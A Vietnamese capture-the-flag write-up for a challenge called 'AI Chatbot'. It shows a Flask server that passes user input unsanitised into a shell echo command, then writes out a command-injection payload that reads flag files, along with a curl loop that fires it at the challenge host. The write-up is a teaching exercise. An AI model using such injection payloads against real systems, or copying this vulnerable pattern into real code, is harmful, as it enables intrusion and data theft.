Description
RecruitCTF - AI Chatbot
Give me your name and I will give you one fact about yourself!
Approach
Ứng dụng có endpoint /chatbot.html
cho phép nhập tên thông qua một POST request:
POST /chatbot.html HTTP/1.1
Host: localhost:12340
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://localhost:12340
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:12340/chatbot.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: cookieconsent_status=dismiss; welcomebanner_status=dismiss; language=en; continueCodeFindIt=oMr51PnqeO9V8Q6uKHzIRuBxcajureIpqhoqtOMu0DfDpcWdAbygWlEK6JYw; continueCodeFixIt=QNmqBbow2YDExyduVCrinuzQI38ukni0dIl9hNyu9jhrptPZ1Pv4g7V0nOXe; continueCode=ZYSmHRu6tMceILFjfRHOhOtZsgrueKt28IMLs3aHPEh9NI2bFwQtBWcRpUJMuw7CyOsexiBQcj7
Connection: close
name=hello%0D%0A
Tên nhập vào sẽ được chèn vào thẻ <pre class="ai-response">
trong response.
Dockerfile có nội dung như sau:
FROM python:3.10
WORKDIR /app
COPY src/ .
RUN chmod -R 555 /app
RUN flag_index=$(shuf -i 1-50 -n 1) \
&& for i in $(seq 1 50); do \
if [ $i -eq $flag_index ]; then \
echo "BPCTF{fake-fl4g!}" > /flag$i.txt; \
else \
echo "You are the best! Keep playing CTF!" > /flag$i.txt; \
fi; \
chmod 444 /flag$i.txt; \
done
RUN pip install --upgrade pip
RUN pip install flask
# Set the PORT environment variable
ENV PORT=12340
# Make port 12340 available to the world outside this container
EXPOSE 12340
RUN /usr/sbin/useradd --no-create-home -u 1000 ctf
USER ctf
CMD ["python3", "app.py"]
Có thể thấy, index của flag được random trong khoảng 1 đến 50.
Build image và chạy container, truy cập vào thư mục /
của container thì ta thấy được 50 file chứa flag:
ctf@6f699ab053a7:/$ ls
app flag1.txt flag14.txt flag19.txt flag23.txt flag28.txt flag32.txt flag37.txt flag41.txt flag46.txt flag50.txt home opt srv
bin flag10.txt flag15.txt flag2.txt flag24.txt flag29.txt flag33.txt flag38.txt flag42.txt flag47.txt flag6.txt lib proc sys
boot flag11.txt flag16.txt flag20.txt flag25.txt flag3.txt flag34.txt flag39.txt flag43.txt flag48.txt flag7.txt lib64 root tmp
dev flag12.txt flag17.txt flag21.txt flag26.txt flag30.txt flag35.txt flag4.txt flag44.txt flag49.txt flag8.txt media run usr
etc flag13.txt flag18.txt flag22.txt flag27.txt flag31.txt flag36.txt flag40.txt flag45.txt flag5.txt flag9.txt mnt sbin var
Mã nguồn của server:
from flask import Flask, render_template, request
import subprocess
import os
app = Flask(__name__)
port = int(os.environ.get('PORT', 12340))
@app.route('/')
@app.route('/index.html')
def index():
return render_template('index.html')
@app.route('/chatbot.html', methods=['GET', 'POST'])
@app.route('/chatbot', methods=['GET', 'POST'])
def chatbot():
if request.method == 'GET':
return render_template('chatbot.html')
name = request.form['name']
command = "echo " + name
response = subprocess.run(command, shell=True, capture_output=True)
return render_template('chatbot.html', name=response.stdout.decode('utf-8'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=port)
Có thể thấy, giá trị của tham số name
được append vào sau chuỗi echo
và được thực thi dưới dạng câu lệnh. Xây dựng payload để khai thác như sau:
$(cat ../flag${i}.txt)
Với ../
là để đi ra thư mục /
từ thư mục /app
và ${i}
là số tăng dần từ 1 đến 50.
URL encode các phần còn lại của payload trừ phần interpolation của index:
%24%28cat%20..%2Fflag${i}.txt%29
Script khai thác:
for i in $(seq 1 50); do
curl -X POST "http://blackpinker.rocks:30326/chatbot.html" -d "name=%24%28cat%20..%2Fflag${i}.txt%29" | grep "ai-response"
done
Flag
Success
BPCTF{N0w-y0u-kn0w-c0mmand-1nj3ct10n}